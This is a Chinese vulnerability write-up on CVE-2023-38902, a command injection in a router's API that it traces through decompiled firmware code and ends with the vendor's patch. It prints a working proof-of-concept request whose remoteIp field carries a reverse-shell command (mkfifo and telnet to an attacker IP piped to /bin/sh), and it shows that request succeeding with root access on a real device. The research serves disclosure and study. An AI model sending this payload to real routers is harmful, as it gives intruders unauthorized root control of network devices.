//sub_41A148 v2 = *(_DWORD *)(a1 + 24);//v2为remotePwd的值 v19 = 0; if ( v2 )//因为remotePwd字段没有传,所以这里为空,进入else { ...... } else { ufm_read_file("/etc/rg_config/admin", &v19);// 没有这个文件,什么都读不出来 if ( !v19 ) { v19 = (const char *)strdup("U2FsdGVkX18POF0/cM8IwywAcZUK8zQngpUv7C2zKng=");// 如果什么都没有读到的话,就将这个数据作为v19 ...... } } ...... snprintf( v17, 511, "curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{"method":"login","" "params":{"username":"admini","password":"%s","encry":"true"}}'", *(const char **)(a1 + 20),//此处会将remoteIp字段拼接进去 v19); ...... v18 = 0; if ( ufm_popen(v17, &v18) || !v18 )//最终由ufm_popen函数导致了命令执行 { uf_log_printf(uf_log, "ERROR (%s %s %d)curl get sid failed!", "ufm_remote_call.c", "fetch_get_sid", 289); return 0; } ......
上述的调用链已经分析的很清楚了并且都标注在了注释中,理清楚这些后攻击报文的构造就显而易见了,下面说一下我认为有必要提及的两点。

为什么remotePwd字段无法注入命令?

204固件中,其实是可以从remotePwd字段中注入命令并执行的,而且在最新的固件中,也可以看到这里判断了remotePwd是否存在,如果存在的话也可以进行拼接,最终导致命令执行,相关代码如下。
v2 = *(_DWORD *)(a1 + 24);//v19为remotePwd的值 v19 = 0; if ( v2 ) { v19 = (const char *)strdup(v2); ....... } ...... snprintf( v17, 511, "curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{"method":"login","" "params":{"username":"admini","password":"%s","encry":"true"}}'", *(const char **)(a1 + 20), v19);//此处是拼接v19的 if ( ufm_popen(v17, &v18) || !v18 )//loophole { ...... }
但在最新的固件中对remotePwd字段注入命令是不成功的。
因为发现在parse_obj2_cmd函数中对json数据解析时,对于remotePwd字段的处理是存在Bug的,它限制了remotePwd字段要为array类型(如下代码所示),但是前端对于array类型的remotePwd会报错。
这里其实能猜测出remotePwd字段是string类型,实际上代码应该是json_object_get_type(v37) == 6。这就导致设置remotePwd类型时要么是前端报错,要么是二进制程序中判断这个类型错误,从而阴差阳错的阻止了从这里进行注入。
if ( json_object_object_get_ex(v38, "remotePwd", &v37) == 1 && json_object_get_type(v37) == 5 )
而在204固件中,它的功能实现都是由lua语言来完成的,最终命令执行的漏洞点如下(fetch_sid函数的参数password就为remotePwd字段),因此在该固件版本中可以从remotePwd字段进行注入,而之后的版本因为Bug的原因无法进行注入。CVE-2023-38902的详细研究

攻击报文为什么这么构造?

攻击报文如下,这些字段都是缺一不可的。而没有出现的字段都是可有可无的。
{ "method": "devCap.get", "params": { "module": "123", "remoteIp": "$(mkfifo /tmp/test;telnet 192.168.45.203 6666 0</tmp/test|/bin/sh > /tmp/test)" } }
下面来贴出证明这几个字段缺一不可的关键代码(其实上文的分析中都有提到,这里再汇总一下)。
methodparams不能为空,因为这里有如下检查,如果他们不存在的话会直接返回-1。
v6 = json_object_object_get_ex(v3, "params", &v18); v7 = v4; if ( v6 != 1 ) { LABEL_27: json_object_put(v7); return -1; } if ( json_object_object_get_ex(v4, "method", v19) != 1 ) { LABEL_26: v7 = v4; goto LABEL_27; }
module也必须存在,并且module字段是params中的一个值。可以看到这里解析出了params,给到v38
而后module字段是从v38也就是params中解析出来的,如果module字段不存在的话,会执行return 0:
if ( json_object_object_get_ex(a1, "params", &v38) != 1 )// { ...... } ...... if ( json_object_object_get_ex(v38, "module", &v37) != 1 ) { uf_log_printf(uf_log, "ERROR (%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 289); goto LABEL_109; } LABEL_109: cmd_msg_free(v3); return 0;
而操作类型要设置为devCap,下面if(v3 == 3)才可以执行到remote_call函数。
if ( v3 == 3 )//因为操作类型设置为devCap,所以这个if可以进来 { ...... v5 = *(const char **)(a1 + 20);//这里取了remoteIp字段 if ( !v5 || !*v5 )//判断remoteIp字段是否存在 goto LABEL_250; v6 = a1; if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )//is_self_ip函数正常情况下返回的是0,这个if可以进入 { remote_call((int *)a1, (const char **)a2);//后续的漏洞触发是在这个函数中 }
操作符为get是因为在Lua文件中只有opt[i]get的时候才在devCap表中定义了字符串get所对应函数:
lua if opt[i] == "get" then devCap[opt[i]] = function(params) local model = require "dev_cap" params.method = opt[i] params.cfg_cmd = "dev_cap" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module, ip, password) end end

攻击演示
这里拿在某鱼上买的真机进行测试,目标路由器某型号的版本是217。但搭建了219的仿真环境也是可以攻击成功的。
首先登录路由器的管理后台:
CVE-2023-38902的详细研究
然后用Burp Suite抓包,拿到auth的值:

CVE-2023-38902的详细研究

/cgi-bin/luci/api/cmd发送POST报文。

POC

{ "method": "devCap.get", "params": { "module": "123", "remoteIp": "$(mkfifo /tmp/test;telnet 192.168.110.171 6666 0</tmp/test|/bin/sh > /tmp/test)" } }

CVE-2023-38902的详细研究

攻击效果

可以看到反弹shell成功,此时拿到了路由器的最高权限:
CVE-2023-38902的详细研究

修复方案
官方在226版本,对上述漏洞发布了补丁。
新添加了一个detect_remoteIp_invalid函数,该函数检查了remoteIP字段是否为纯数字或者字符.,因为正常的IP应该为xx.xx.xx.xx。这相当于对命令注入的字段做了一个过滤。
int __fastcall detect_remoteIp_invalid(char *buf) { int len; // $v0 char *v3; // $a0 char *v4; // $v0 int v5; // $v1 len = strlen(buf); v3 = buf; v4 = &buf[len]; while ( v3 != v4 ) { v5 = *v3; if ( (unsigned __int8)(v5 - 48) < 0xAu ) { ++v3; } else { ++v3; if ( v5 != '.' ) { uf_log_printf( uf_log, "ERROR (%s %s %d)invalid char: %c, need [number][.][number]!", "sgi.c", "detect_remoteIp_invalid", 273, v5); return -1; } } } return 0; }

参考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38902

CVE-2023-38902的详细研究

看雪ID:ZIKH26

https://bbs.kanxue.com/user-home-953233.htm

*本文为看雪论坛精华文章,由 ZIKH26 原创,转载请注明来自看雪社区

原文始发于微信公众号(看雪学苑):CVE-2023-38902的详细研究

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月13日22:32:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-38902的详细研究https://cn-sec.com/archives/2491006.html

发表评论

匿名网友 填写信息